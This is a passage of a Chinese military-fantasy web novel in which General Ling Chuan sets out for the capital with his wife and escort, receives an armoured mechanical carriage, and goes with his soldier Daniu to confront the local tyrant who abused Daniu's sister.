当年,他风华正茂,剑术冠绝天下,只身独剑便闯入那座千年古都,势必要让神都也见识一下他这位无双剑神的锋芒,试图用手中大江压过那座巍峨皇城。 最终,他只用了半个月便横扫神都高手,让杨斗重这个名字家喻户晓,手中三尺剑气更是高过了那巍峨皇城。 他也在这里留下了一生了痛! 至此,剑心有缺,折剑白云城…… 世人只知他手中大江折于白云城,却不知在此之前,他心中那把剑便已经折在了神都洛城! 从军械司出来,凌川一眼便看到一身重甲的唐岿然静立门外,那杆玄铁长枪就插在一旁,显然已等候多时。 他那身厚重铠甲在阳光下泛着冷硬的光泽,自有大将风范。 唐岿然的目光第一时间就被凌川手中那杆长枪吸引,暗金色的枪头深邃内敛,其上蜿蜒的赤色纹路仿佛活物般缓缓流动,隐隐透出一股令人心悸的凶厉之气。 他忍不住惊叹:“好一杆神兵!凌厉逼人!” 凌川闻言一笑,爽快地将枪递过去:“喜欢就拿去!这杆枪只有在你手里才能尽显其威!” 唐岿然接过,掂了掂分量,又舞动两下试了试手感,沉重的破殇锋在他手中宛如被唤醒一般,虎虎生风。 唐岿然随手递回,摇头道:“君子不夺人所好!况且,我已用惯了自己的老伙计,更顺手些!”他一把拔起插在一旁的那杆霸王卸甲。 此枪乃是杨铁匠根据他的要求用玄铁打造,同样是难得的神兵利器。 凌川笑着接过破殇,顺势问道:“玄甲营操练得如何了?” “此前全军打下的底子很扎实!”唐岿然语气肯定,“照此练下去,少则一月、多则三月,便可见成效!” 凌川满意点头:“辛苦了!” 第一卷 第333章 云州小将军! 唐岿然却话锋一转,眼中透出关切:“将军,准备何时动身返京?” “就这几日,怎么?” “我想随你一同回去!”唐岿然语气坚决,眼神深处难掩忧虑,显然对神都之行潜藏的风险心知肚明。 凌川微微摇头:“我将你调回云州大营统率重骑,就是想着我离开时,需有绝对信重之人坐镇家中!” “可是……” “放心,我自有安排!”凌川打断他,语气沉稳,“你只需替我看好家,等我和小璃平安归来即可。” “小璃也要回去?”唐岿然闻言又是一惊。 凌川点头:“是我提议的,此番回去,她也该带我去给岳父岳母上柱香了!” 唐岿然眉头紧锁,心中担忧更甚,但身为部将,他最终仍是抱拳沉声道:“末将遵命!” 在他心中,凌川虽以兄长待他,但他始终铭记上下之分。 凌川看出他的不安,用力拍了拍他冰冷的肩甲,朗声道:“放心!想取我凌川的命,没那么容易!我向你保证,必定将小璃毫发无损地带回来!” “你们多保重!有我在,云州绝不会出任何岔子!”唐岿然重重点头,眼神无比坚定。 回到将军府,洛青云已在等候。 “将军!”洛青云上前一步,抱拳行礼。 他此前驻守松阳县,第一阶段全军集训结束后,事务稍缓,凌川便命他将松阳县军务暂交副校尉陈庸代理,调他回来随行去神都。 凌川颔首笑问:“人手可都点齐了?” “已准备妥当!”洛青云回禀,“五百精骑,皆从原死字营老兄弟中遴选而出,现均已抵达云州大营候命!” 凌川特意让他从死字营旧部中挑选这五百骑,只因这些皆是历经血火考验的悍卒,无论战力还是忠诚都无可挑剔,且都是老兄弟,洛青云指挥起来也更得心应手。 之所以选择洛青云带队,是因他曾在神都禁军中任都尉,对神都情形颇为熟悉。 “好!让弟兄们好生休整两日,三日后准时起程!”凌川拍了拍他的肩膀,说道:“你这几日也累得不轻,好好休息!” “遵命!” 接下来的两日,凌川抓紧时间熟悉新得的苍生刀。 此刀远比旧刀沉重,需重新适应发力。 此外,他还抽空向唐岿然请教枪法,唐岿然师承南海枪神孟星凡,枪术自是不在话下。 在他的点拨下,凌川进步神速,许多关窍一点即通,连唐岿然也不禁赞叹其天赋之高。 五十余斤的破殇锋在凌川手中舞动,虽略显沉滞,却已虎虎生风,霸气初显。 所谓月棍年刀一辈子枪,枪法之道非朝夕可成,需经年累月的苦功打磨。 “若你能持之以恒,苦练不辍,不出三年,枪法必在我之上!”唐岿然认真评价道。 凌川却笑着摇头反问:“你如今可曾有一日懈怠于练枪?” 唐岿然一怔,虽不明其意,仍如实回答:“每日必练,从未敢有半分懈怠!” “那我便永远追不上你!”凌川收枪而立,笑道,“因我在进步时,你亦从未停步。” 刚回府邸,苍蝇也前来复命:“将军,一千亲兵已遴选完毕!幸好俺动作快,再晚点,好苗子都被那几个家伙抢光了!” “都是自家兄弟,何必分那么清!”凌川笑道,“随行的人手挑得如何了?” “孟钊正在做最后筛选!”苍蝇答道。 凌川命他从这一千亲兵中再精选五百人随行,加上洛青云的五百铁骑,合计一千精锐,只要不遇大军围堵,足以应对沿途风险。 随着行期临近,苏璃愈发显得心神不宁。 凌川轻轻握住她的手,安慰道:“娘子不必忧心,我已安排了一千精兵随行护卫,定能护得周全。” “妾身是担心相公……”苏璃柔声道,眼中满是化不开的忧色。 凌川故作轻松一笑:“娘子就把心放回肚子里吧!你相公我命硬得很,阎王爷没那么容易收!” “不许胡说!”苏璃急忙抬手捂住他的嘴,美眸中漾着水光,“相公,小璃只有你了,你万万不能有事!” “好,我答应你!”凌川收敛笑容,郑重承诺。 “对了,相公,我们回神都,小北该如何安置?”苏璃忽然想起此事。将军府中除翠花外并无其他婢仆,他们一走,只剩一群军汉,实在无法细心照料孩子。 “要不…送到刺史府,请杨大人代为照看一段时间?”凌川提议。 苏璃却摇头:“杨大人公务繁忙,叨扰他实在不妥。” 她抬眼看向凌川,眸光微转,提议道:“不如…请风雪楼的王夫人帮忙照料一段时日?她心思细腻,又是女子,照顾孩子总归更周到些!” “啊?”凌川一脸错愕,“这…恐怕不妥吧?我与她…并无深交……” 苏璃莞尔一笑,打趣道:“瞧你紧张的,我又没说你什么,只是觉得王夫人是女子,照看孩子更细心罢了。” “那…要不娘子你去说?” “自然是相公去!”苏璃眼中闪过一丝狡黠,“我上次闹了误会,说不定王夫人还在生我的气呢。还是相公去合适些!” 两人一番推让,最终苏璃提议让小北自己决定。 当小北被叫到跟前,凌川刚问出口,小家伙竟毫不犹豫地答道:“我要叔叔陪我去!” 那清脆的嗓音和迫不及待的神情,让凌川瞬间明白,这一大一小早已‘结盟’,唯独自己被蒙在鼓里。 无奈之下,凌川只得牵起小北出门。 刚踏出府门,小北便拽着他的衣角,嚷嚷着非要骑马去,凌川拗不过他,只好依从。 云州城的街道上,出现了颇为有趣的一幕,威风凛凛的凌将军骑着汗血神骏,身旁跟着一位身披缩小版亮银甲、骑着雪白小矮马的小将军,两人并辔而行,朝着风雪楼而去。 沿途百姓纷纷向凌川打招呼,“凌将军,带小将军出来巡城呢?” “张婶,我随将军巡城,您可有遇到不公?”小北煞有其事我问道。 那中年妇人满脸溺爱地帮他正了正头盔,笑道:“凌将军铲除了云州恶霸,现在哪有不公的事!” 第一卷 第334章 暗流涌动! 又往前走了一段,小北再次拉住缰绳,停在一名老者跟前,问道:“王爷爷,最近那酒馆小二没打掺水的酒给你吧?” 那缺了两颗门牙的老者满脸慈祥笑道:“多谢小将军主持公道,他们现在都不敢掺水啦!” “那就好,若是再敢做奸商,就告诉我,我挑了他的酒馆!”小北点头说道。 看着小家伙这一副做派,凌川在一旁只觉好笑。 如今满城百姓几乎无人不识这位爱披甲骑马的小将军,也不知从谁开始叫他小将军,这称呼便传开了。 而小北每次听到,都会挺起小胸脯,像模像样地点头应下,末了还不忘用甜嘴哄得叔叔婶婶们眉开眼笑,人缘极好。 刚到风雪楼门前,机灵的店小二便快步迎出,满脸堆笑:“凌将军,小将军,您二位快里边请!” “小二叔叔!”小北一本正经地交代,“帮我看好我的坐骑!” “好嘞!小将军您放心,小的必定给您伺候得妥妥的!”店小二笑着应承,态度恭敬又带着几分熟稔的亲切。 凌川牵着小北径直上了二楼,那名怀抱长剑、神色冷峻的黑衣男子依旧如雕塑般守在雅室门外,见到凌川,只是漠然扫了一眼,便无声地侧身让开通路。 雅室内茶香袅袅,王夫人正闲坐翻看账册。 她今日只穿了件青碧色绣缠枝莲的襦裙,外罩一件月白素纱半臂,浑身上下除了一支简单的白玉蜻蜓簪子,再无多余饰物。 乌黑的长发半挽,几缕发丝柔柔垂在颈侧,更衬得肌肤如玉,年纪虽轻,却自有一段清华气度。 见凌川进来,她抬眼一笑,眸光清亮如水:“将军今日怎么得空来了?” 见到凌川身后探头探脑的小北,她顿时笑开,唇角扬起一个俏皮的弧度,伸手招呼道:“哟!这不是咱们云州城的小将军吗?” 小北立刻咚咚跑上前,有模有样地抱拳:“小北见过王姨!” 王夫人被他逗乐,伸手轻轻捏了捏他的小脸,眼波流转间尽是灵动:“我们小将军今日可真威风!” “将军可是大忙人,想必是无事不登三宝殿吧?”王夫人放下账本,执起青瓷茶壶,娴熟地为凌川斟了一杯清茶。 凌川淡淡一笑:“确有一事相求!” “哦?”王夫人眼波微转,带着几分戏谑,“在这云州地界,还有你凌大将军办不妥的事,需要我一介女流相助?” 凌川轻啜一口茶,道:“明日我便要起程前往神都,小北无人看顾,想托你照料一段时日!” 王夫人眸光微闪,状若随意地问道:“将军夫人也一同回去?” 见凌川点头,她这才笑吟吟地看向小北,语气轻快了许多:“小将军,你可愿意在我这风雪楼小住些时日?我这儿可是有好吃的点心哟!” 小北抬头看了看凌川,虽眼中满是不舍,还是用力点了点头:“小北愿意!婶婶说了,在风雪楼要听话,要乖,不能给王姨添麻烦!” 显然,苏璃早已细心叮嘱过。 王夫人被他那副小大人的模样逗乐,忽然生出了几分逗弄的心思。 她纤指轻点下颌,笑问道:“那小将军说说,是你婶婶好看,还是王姨好看呀?” 这问题一出,小北顿时瞪大了眼睛,小脸憋得通红,手指无意识地绞着衣角,半晌说不出话来。 “你为难一个孩子做什么?”凌川无奈解围。 王夫人轻笑一声,目光转向凌川,带着几分狡黠:“那将军来说说看?” 凌川顿时语塞,只得端起茶杯掩饰尴尬:“这…你为难我一个大人做什么?” 王夫人见好就收,嫣然一笑,不再追问:“好了,小北就安心住下吧,以后有我们小将军坐镇,看谁还敢在风雪楼撒野!” “多谢!”凌川郑重抱拳。 “不过可说好了,”王夫人俏皮地眨眨眼,“伙食费可得另算!” “一定,一定!”凌川连忙应下。 他蹲下身,扶着小北的肩膀温声道:“小北,在这里一定要听王姨的话,回头我让人把你的衣物都送过来。” “小北会听话的!叔叔你可一定要保护好婶婶!”小家伙的声音里带着明显的不舍,却努力忍着没有哭出来。 凌川起身告辞,小北虽没有追出去,但目光一直紧紧追随着他的背影,直到消失在门口。 王夫人唤来一名侍女,温和地吩咐她带小北去选房间。 待雅室重归安静,她脸上轻松的笑意渐渐敛去,取而代之的是一种深沉的平静与睿智,眼底还藏着一丝不易察觉的忧色。 “陆丙!”她对着门外轻唤一声。 那抱剑的黑衣男子应声而入,无声无息,如同鬼魅:“夫人有何吩咐?” “传令北疆至神都沿途所有堂口,”王夫人的声音冷静而果断,“不惜一切代价,为他们此行提供一切便利与支援!” “是!”黑衣男子陆丙眼中掠过一丝极细微的诧异,但立刻领命。 就在他即将退出时,王夫人再次开口:“还有,查一查有哪些天元和地元高手在沿途附近,让他们暗中跟随,但非生死关头,不得插手!” 陆丙眼神中震惊之色更浓,试着问道:“夫人确定要调动天元高手?” 王夫人没有说话,只是郑重地点了点头。 “明白!”陆丙再次躬身,随即悄无声息地退了出去。 王夫人缓步走到窗边,轻轻推开支摘窗,望向街道上那端坐于马背之上的挺拔身影,低声轻语:“你这一动身,天下风云骤起,此一路定是步步杀机……愿你吉人天相,平安归来!” 她深知,凌川此次返京,绝不仅仅是一次简单的述职或受封。 他携云州变革之威,以军中新贵的姿态悍然闯入帝国权力核心,早已在不知不觉中成为了搅动天下局势的关键棋子。 庙堂之上,各方派系无不紧盯着他的一举一动,欲除之后快;江湖之中,诸多势力也在闻风而动,他们或是与朝中有牵连,亦或者本就是某些掌权者暗中培养的鹰犬。 甚至胡羯帝国,也早已将凌川的名字列在必杀名单之上,此次他前往神都,于他们而言,无疑是一次除之而后快的天赐良机。 他此番行程,牵动的将是各方势力的神经,明面上的势力、行走于黑暗中的杀手,皆闻风而动。 第一卷 第335章 出发前往神都! 回到将军府,凌川刚将照雪的缰绳交给亲兵,便见一辆造型阔气的马车从不远处缓缓驶来,赶车之人竟是翠花。 “翠花,这是哪来的马车?”凌川迎上前问道。 “将军!”翠花巍峨的身躯从车辕上一跃而下,宛如巨石砸在地面,“这是墨巡先生为夫人打造的车驾,前两日刚完工,夫人就让俺去取回来!” 凌川这才想起,早在云岚县时,自己曾请墨巡为苏璃特制一辆舒适安全的马车,后来军务繁忙,便将此事搁置,没想到墨巡一直记在心里,并悄然完成。 凌川先是围着马车转了一圈,发现无论是用料还是做工都非常讲究,由此可见,墨巡是下了功夫的。 拉车的是两匹健壮的大宛马,按理说,这种优质战马用来拉车,实属暴殄天物,可考虑到翠花的体型,也不得不如此了。 随后,凌川登上马车,发现车厢远比寻常马车宽敞,容纳四五人也绰绰有余。内壁以打磨光滑的楠木为骨,覆盖着柔软的锦垫,座椅宽大舒适,细节处雕刻着精美的云纹,用料和做工都极为考究。 “将军,墨巡先生让俺把这个交给您!”翠花递上一卷绢帛图纸。 凌川展开一看,神色顿时郑重起来,这可不是普通马车构造的图纸,分明是一幅极其详尽的机关构造图! 图纸上清晰标注着马车上暗藏的众多玄机,车厢四壁内嵌寸许厚的铁梨木夹层,夹层中更巧妙地镶嵌了韧性极佳的薄铁板,寻常刀剑难伤。 一旦遇袭,只需扳动机关,车窗位置会瞬间落下带有窥孔的加厚铁板,将车厢彻底封闭,足以抵御强弓硬弩的袭击。 更令人惊叹的是还是马车的攻击系统。 车厢前后左右以及底部,竟巧妙设置了多个发射孔洞,内藏诸多弩箭,这一设计主要得益于凌川发明的匣子弩。 只不过是被墨巡改装之后,由车内精密的机括控制,可覆盖马车周遭所有角度,堪称无死角,弩箭匣可快速更换,保证了持续发射。 此外,图纸还标注了数种其他防卫机关,车轴内藏机括,危急时可向车后抛撒特制铁蒺藜,阻碍追兵。 车厢夹层内预置了数包以石灰、辣椒粉等物混合的迷目烟,必要时可释放,扰乱敌人视线。 甚至车底还设计了一个隐蔽的紧急逃生活板门,而所有木料都是经防火药液反复浸泡处理,极大提升了马车的耐火性。 凌川依照图纸指引,小心翼翼地尝试操作了几处隐蔽的机关。 只听几声极轻微的机括响动,铁板滑落复位,弩口开合有序,一切运行流畅而隐蔽,若非深知内情,根本无从察觉这些看似普通的装饰下竟暗藏如此多的杀机与防护。 “真不愧是墨家传人!”凌川忍不住由衷赞叹,今日,凌川算是再次见识到墨家弟子的厉害之处了。 将一辆马车打造成一座移动的堡垒,却又如此不露痕迹,墨巡的巧思与技艺实在令人叹服。 有了这辆马车,苏璃此行安全无疑得到了极大的保障。 “快去把夫人请出来!”凌川对翠花道,语气中带着兴奋。 “诶,好嘞!”翠花应声,快步奔向府内。 不一会儿,苏璃便被请了出来。 “相公,怎么了?”苏璃来到马车前,好奇地问道。 “快上来看看,这是墨巡先生为你量身打造的马车!”凌川伸手将她扶上车。 “哇!里面竟如此宽敞舒适!”苏璃踏入车厢,顿时惊喜不已。 “可不止是舒适那么简单。”凌川拉着她坐下,然后将那幅厚厚的机关图纸在她面前缓缓展开,“你看,墨巡先生在这车上花了不少心思!” 凌川指着图纸给苏璃详细讲解,从操控到对应的机关,以及遇到什么情况使用什么机关等。 为了让苏璃更直观地了解,凌川让翠花和亲兵们远远退开,亲自为她演示了几处关键机关的操作,看着铁板无声滑落、弩口悄然开启,苏璃惊讶地掩住了唇,眼中充满了不可思议。 这辆看似华美舒适的马车,顷刻间便能化身为一座提供全方位保护的移动堡垒,其精巧与威力,远超她的想象。 深夜,月朗星稀…… 想到明日就要出发回神都,苏璃一夜未眠。 纷乱的思绪在她心中翻涌,既有对此行的隐隐不安,也有对神都那个地方深埋的仇恨与悲伤,有对故乡的思念,但又害怕回到那个悲伤的地方,面对那一段悲痛经历。 离开神都已经整整一年了,可每当回忆涌来,那些画面都清晰得仿佛昨日。 她至今仍时常在深夜惊醒,梦中尽是廷尉府和禁军闯进家门的血腥场面,刀光剑影间,家人的惨叫声不绝于耳。 还有头发花白的父亲被押赴刑场的悲凉场景,仿佛一根刺抵在她的心口。 次日清晨,凌川早早起身准备早饭,苏璃梳洗完毕后,翠花也已经将东西搬上马车,几人简单用了早餐,将收拾好随身行装出门。 此时,五百亲兵队伍与洛青云率领的五百精骑已在城外列队等候,一个个容光焕发,气势雄壮。 凌川携苏璃登上马车,黑风与照雪这两匹也跟在车队后方。 现在距离重阳节还有将近四十天,看似漫长,但此去神都足有两千余里,平摊下来每日需行五六十里。 好在沿途都是平坦官道,行程相对轻松,时间倒也充裕。 按照计划,今日将在云陵县落脚,对此地凌川并不陌生,数月前,他们正是在这里解决了章绩。 出城后,洛青云率五百精骑领先十里开道,虽仍在云州境内,但深知此行凶险的洛青云却不敢有丝毫大意。 “娘子可会骑马?”凌川忽然问道。 苏璃唇角微扬,露出一抹浅笑:“相公这是看不起谁?我乃将门之女,虽未学过兵法韬略,父亲也不让我舞枪弄棒,但骑马还是会的!” “走!” 凌川拉着她走下马车,让亲兵将照雪和黑风牵来。 “照雪性子温顺,黑风却像个莽撞的少年,时不时会闹脾气。”凌川指着两匹神骏介绍道。 黑风似乎听懂了他的话,昂首瞪向凌川,不服气地打了个响鼻。 正当凌川准备搀扶苏璃上马时,却见她一手抓住鞍桥,身形轻盈一跃,便稳稳坐在马背上。 凌川见状不由得一怔,随即笑道:“看来娘子果真没有骗我。” 第一卷 第336章 大牛回家! “驾!” 苏璃轻叱一声,照雪闻声而动,迈着优雅的步伐向前奔去。 一旁的黑风早已急不可耐,前蹄不断刨土,催促凌川上马。 “看把你急的!”凌川笑着跃上马背,不待下令,黑风便长嘶一声疾驰而出。 不多时,黑风与照雪并辔奔驰,亲兵队长苍蝇率一队人马紧随其后。 “娘子骑术精湛,实在令我大开眼界!”凌川由衷赞叹道。 苏璃嫣然一笑:“父母从小不让我碰兵器,这骑马还是哥哥教我的!” 提到哥哥,她眼中掠过一丝不易察觉的忧色。 一路疾驰十余里,黑风与照雪仍意犹未尽,凌川却勒住缰绳,二人下马,在此等候后方队伍。 从云陵县到云州城的距离比到云岚县少了数十里,申时便已抵达。 虽时日尚早,却不得不在此落脚,若继续赶路,下一处军驿还在三十里外。 众人没有入住酒楼,而是选择在军驿歇脚,军驿场地宽敞,战马草料与人员伙食皆不需额外花费。 凌川倒不是心疼银子,只是觉得军驿更安全些。 当然,这也仅限于北境,若是出了北境地界,军驿是否还安全,那就未可知了。 洛青云的五百精骑已先将军驿彻底探查一遍,随后迅速布防,不放过任何死角。 那名驿长得知是凌川的队伍,极为配合,不仅交出了驿站的调度权,数十名驿卒也全部接受洛青云的盘查。 然而,凌川一行住进军驿不到一个时辰,两匹快马先后驰入驿中,都是来送信的。 前面一封信来自阑州,是陈暻垚的亲笔信。 信中除了提醒凌川此行务必小心谨慎外,还附上了他这一年多来对苏大将军冤案调查所得的一些情报。 凌川没有隐瞒,将信递给苏璃。 苏璃看后,眼中明显浮现出愤怒与仇恨,握着信纸的手指微微发白。 “娘子宽心,我定会将此事查个水落石出,所有参与之人,一个都逃不掉!”凌川轻轻握住她的手,语气坚定。 随后,他将密信点燃,看着纸张化为灰烬。 不久后,苍蝇又带着一名校尉进来,对方恭敬行礼:“属下靖州催将军麾下何家年,参见镇北将军!” “何校尉不必多礼,请坐!”凌川示意道。 然而何家年并未落座,而是从铠甲内取出一封火漆封口的密信,双手奉上:“崔将军派卑职送信给将军!” “有劳了!” 凌川接过密信,只觉得沉甸甸的,似乎里面不只是信件那么简单,而且催行俭派一名校尉专程送信,足见其重要性。 何家年连饮两杯茶,抱拳道:“信已送到,卑职这就回靖州复命,将军保重!” 凌川点头,让苍蝇送他出门。 催行俭突然来信,有些出乎凌川意料。 拆开信件,发现内容比陈暻垚所写更多,还附有一块二指多宽的玉牌,上雕麟趾呈祥图案,玉质温润,雕工精湛,显然不是凡品。 信中提到了朝中的几股势力及其简要情况,并告知凌川,若遇到困难,可持此玉佩前往书院。 凌川原以为会让他去找催行俭那位官居兵部侍郎的父亲,不料竟是让自己去书院,不禁有些意外。 凌川将玉牌仔细收好,心中默默记下这份情谊。 次日一早,众人用罢早饭,继续起程。 按计划,三日后才会离开北疆地界,但洛青云与苍蝇等人依旧表现得很谨慎。 时间既然充裕,凌川也不着急赶路,每日行进约六七十里,视实际情况微调,有时为寻合适的落脚处会多走一段,有时则稍作休息。 三日后,队伍来到北境边界,再往前便是幽州地界。虽才刚过正午,但已经抵达永安县,凌川仍决定在此落脚,进入幽州境内后,得五十里外才有军驿可住。 队伍刚落脚,大牛便找到凌川,一副欲言又止的模样。凌川不由好笑:“翠花在收拾行李呢!” 大牛憨厚地笑了笑,搓着大手道:“将军,俺不是来找翠花的……俺是想跟您告假半日。” 凌川一愣:“大牛,你小子可别学苍蝇他们胡来,小心我告诉翠花,看她不揍你!” 大牛顿时急了,连连摆手道:“将军,俺不是去那啥!俺是想回家一趟!俺家就在这永安县城边上,离这儿不到十里!” 凌川这才想起,大牛曾跟他说过,家里爹娘死得早,与妹妹相依为命。 后来妹妹被当地恶霸祸害,差点上吊自尽,大牛为给妹妹报仇,去找恶霸理论,反被诬陷偷盗,打入大牢,不久后发配北疆死字营。 “将军放心,俺就回去看看妹妹,绝不耽误明天赶路!”大牛恳切地说道,眼中满是期盼。 凌川进屋找到苏璃:“娘子,大牛家就在永安县,我陪他回家一趟。” 苏璃点点头:“相公小心些!” 翠花听说大牛老家在此,也想跟去,却被苏璃拉住,因为她曾听凌川说起过大牛的情况,心知此行或许并不仅仅是探亲那么简单。 来到外面,凌川直接对苍蝇吩咐道:“点几个兄弟,换上便装,随我出去一趟。” 行军途中,凌川并未披甲,但其他人都全员着甲,以便随时应对突发情况。 “大牛,你也去换身衣服!”凌川对大牛说道。 片刻后,一行数人离开驿站,朝着城南方向而去,大牛在前面带路,以战马的脚力,十里路程转眼即至。 城南一个小村庄,约莫住着几十户人家,村口有一棵百年老槐树,枝繁叶茂。 这一路上,大牛显得尤为紧张,双手不自觉地在缰绳上收紧放松,自从被关进大牢后,他最放心不下的就是妹妹,也不知她这两年过得怎样,是否安好。 “放心,咱妹妹肯定没事!”苍蝇看出他的不安,出声安慰道。 大牛重重点头,喉结滚动了一下:“嗯!” “将军,马上就到了!”大牛指着前方,声音里带着几分激动。 然而当他转头望去时,整个人却猛地僵在原地,脸上的期待瞬间凝固,只见原本的家早已不见踪影,只剩满地残破的瓦砾和朽木,一片狼藉。 第一卷 第337章 讨回公道! “怎、怎么会这样?”大牛脸色霎时惨白,嘴唇颤抖着,几乎是从马背上滚落下来。 凌川等人不敢耽搁,纷纷下马追了上去。 只见大牛像是疯了一般冲向那片废墟,双腿一软,跪倒在残垣断壁间。 他的肩膀剧烈颤抖着,双手深深插入泥土中,指节因用力而发白。 这间小屋虽然简陋,却是大牛从小到大的家,是他和妹妹唯一的避风港,如今连这最后的念想也化为乌有,他的世界仿佛在这一刻崩塌。 忽然,大牛像是想到了什么,猛地抬起头,嘶声喊道:“英子……” “英子!你在哪儿?哥回来了!英子……” 他发疯似的在废墟中翻找,双手不顾一切地扒开碎瓦断木,哪怕被尖锐的碎片划破手掌也浑然不觉。 鲜血混着泥土染红了瓦砾,他却仿佛感觉不到疼痛,只是一遍遍地呼喊着妹妹的名字,声音从最初的急切逐渐变得嘶哑而绝望。 “英子……你说好等哥回来的……哥回来了,你出来啊……”他跪在废墟中,肩膀剧烈地颤抖着,像个迷失的孩子般无助。 众人站在不远处,看着几近崩溃的大牛,只觉心头一阵刺痛。 苍蝇欲上前安慰,却被凌川抬手制止,此时此刻,任何言语都显得苍白,唯有让大牛尽情宣泄内心的悲痛。 “哥……” 就在这时,不远处的树林中传来一声怯生生的呼唤,轻得几乎被风吹散。 大牛身体猛地一僵,却不敢抬头,生怕这又是自己的幻觉。 “哥……是你吗?” 那声音再次传来,带着几分不确定的颤抖。 大牛缓缓转过头,只见一道瘦小的身影瑟缩在树林阴影中,衣衫褴褛不堪,头发蓬乱如草,几乎与野人无异,若不细看很难发现。 “英子?”大牛难以置信地揉了揉眼睛,确认那就是自己日思夜想的妹妹,当即连滚带爬地冲上前去。 “英子!真是你!”他一把将妹妹紧紧搂在怀里,双臂因激动而微微发抖,仿佛生怕一松手她就会消失。 “哥……”女孩哽咽着,突然惊慌地推开他,“哥你快走!要是被张家人发现就麻烦了!” 大牛死死抱着妹妹不肯松手,摇头道:“别怕!哥现在是北系军的校尉,再没人能欺负咱们了!”他的声音因激动而颤抖,却带着前所未有的坚定。 “校……校尉?”女孩睁大眼睛,瘦削的脸上写满震惊,“哥你没骗我?你真是校尉?” 大牛双手扶住妹妹的肩膀,重重点头,眼中闪着泪光:“哥啥时候骗过你?你看,将军都来了!”他指向不远处的凌川等人。 “太好了……太好了……”英子喜极而泣,泪水顺着脏兮兮的脸颊滑落。 大牛拉着妹妹来到众人面前,一一介绍道:“妹子,这位是凌将军,是哥命中的贵人,更是恩人!”他的声音因自豪而微微发颤。 “小女子许秀英,参见将军!”英子怯生生地就要跪下,却被凌川及时扶住。 “大牛跟我乃是过命的兄弟,你就是我妹妹,不必行这些虚礼。”凌川温声道。 大牛继续介绍,语气轻快了许多:“这几位都是哥的好兄弟,这是苍蝇哥,这是沈珏哥,这是……” 话音戛然而止…… 大牛猛地瞪大双眼,死死盯着妹妹的脸,声音陡然一变:“英子,你的脸咋了?” 他伸手想撩开妹妹散乱的头发,英子却本能地后退一步,面露惊慌,双手下意识地捂住脸颊。 “没……没事……”英子目光闪躲,声音细若蚊蚋。 大牛一把抓住她的手,然后缓缓撩开她披散的头发,只见两道触目惊心的疤痕出现在两侧脸颊上。 众人顿时倒吸一口凉气,大牛更是浑身剧烈颤抖,目眦欲裂,从牙缝里挤出三个字: “谁干的?” 英子咬紧下唇,泪水在眼眶中打转,却倔强地不肯落下。 “告诉哥!是不是张家那个畜生干的?”大牛强压着滔天怒火,声音因愤怒而嘶哑。 英子只是一个劲摇头,眼泪终于决堤,却仍不肯开口。 “王八蛋!老子宰了他!”大牛怒吼道,浑身杀气腾腾,往日憨厚的面容因愤怒而扭曲,宛如一头被激怒的雄狮。 众人从未见过大牛如此暴怒,平日里的他憨厚老实,即便被调侃也只会嘿嘿傻笑。 可此刻的他,却像是换了一个人,眼中燃烧着骇人的怒火,显然妹妹便是他唯一的软肋。 事实上,莫说是他,就连苍蝇、沈珏等人见此情景,也禁不住杀意涌动。 大牛虽长得粗犷,妹妹小英却生得水灵,即便衣衫褴褛、蓬头垢面,仍能看出是个俊俏姑娘。 可如今那张脸上,却留下两道触目惊心的伤疤,任谁见了都心生怜惜与愤怒。 见大牛要冲出去报仇,小英死死拉住他,哭喊道:“哥!哥!不是他们……是俺自己……是俺自己划的……” 她的声音破碎不堪,带着深深的屈辱与绝望。 大牛顿时愣在原地,如遭雷击:“为啥呀!你咋这么傻!” 大牛的声音颤抖着,既有愤怒更有心疼,双手无力地垂下,仿佛被抽干了所有力气。 英子只是落泪,凌川却隐约猜到了缘由,一个无依无靠的孤女,若要在这乱世中保全清白,有时不得不采取极端的手段。 “沈珏,送秀英妹子回驿站交给翠花,再带些兄弟过来!”凌川沉声吩咐道,随即看向大牛,“走,咱们去找张家算账。” 大牛深吸一口气,勉强冷静下来,双手扶住妹妹肩膀,语气尽可能温和:“沈珏是哥的好弟兄,他送你去驿站,那儿很安全,哥跟将军去去就回!” 英子担忧地望着他,瘦弱的手紧紧抓住他的衣袖:“哥,你们小心……” 大牛重重点头,眼中闪过坚毅的光芒:“放心!如今你哥再不是从前那个任人欺负的大牛了,况且有将军在,区区张家翻不起风浪!” 沈珏扶着英子坐上马背,随后自己也翻身上马,带着英子前往军驿。 看着两人远去的背影,凌川对大牛沉声说道:“带路吧!” 第一卷 第338章 你只管造,我顶着 一行四骑径直朝着张家方向疾驰而去。 马蹄声在青石板上敲出急促的节奏,仿佛在为大牛内心的汹涌情绪。 大牛紧握缰绳的手微微发颤,脸上神色愈发阴沉。 他侧过头,声音里带着明显的忧虑:“将军,张家在这永安县势力盘根错节,与官府往来密切,只怕……” “你只管放开手脚去造!”凌川不待他说完便斩钉截铁地打断,目光如炬地望向前方,“只要不伤及无辜,天塌下来有我替你顶着!” 凌川的声音不高,却带着千钧重量,每一个字都重重落在大牛心上,当初在离开狼烽口前往云岚县的路上,将军得知了他的经历,说要替他讨回公道。 当时大牛只当是对方随口之言,没想到竟真的下场为自己撑腰。 张家虽非百年世家,却是本地根深蒂固的豪强。 这些年来,欺男霸女、强占田产、草菅人命的事不在少数。 之所以能逍遥法外,全因用银钱喂饱了当地官员,上下打点得滴水不漏。 张府坐落于县城最繁华的地段,朱漆大门足有一丈高,在阳光下异常醒目,门前两尊石狮龇牙咧嘴,仿佛在向过往行人炫耀主人的权势。 众人来到府门前,两名守门的壮汉立刻挺直了腰板,手按在腰间的棍棒上,这两人大牛到死都记得,正是张家的家丁,也是张逵手下的恶狗之一。 当年他上门理论,就是被这两人用棍棒打得吐血倒地。 见四骑气势汹汹地直闯府门,两家丁先是一愣,待看清大牛的面容后,脸上顿时浮现出轻蔑的讥笑。 “哟!我当是谁呢!”一个满脸横肉的家丁歪着嘴笑道,用挑剔的目光上下打量着大牛,“这不是傻大牛吗?想不到你竟然还活着!” 另一个瘦高个家丁也凑上来,咂着嘴道:“可惜了你那如花似玉的妹妹,本来指望着少爷玩腻了,能让咱们哥几个也尝尝鲜……谁知道她竟然自己把脸划花了,真是暴殄天物!” “哎!别提了……”横肉家丁撇撇嘴,露出嫌恶的表情,“本来多水灵的丫头,现在看到那两道疤就倒胃口,连窑子里的婊子都不如!” 两人你一言我一语,唾沫星子飞溅,完全没注意到大牛的脸色已经阴沉得能滴出水来。 他的手指死死扣住刀柄,指节因用力而泛白,嘴唇不受控制地颤抖着,眼中翻涌着滔天杀意。 “要我说,把脸蒙上不就行了?”横肉家丁还在放肆大笑,露出满口黄牙,“感觉上也没太大区别……” 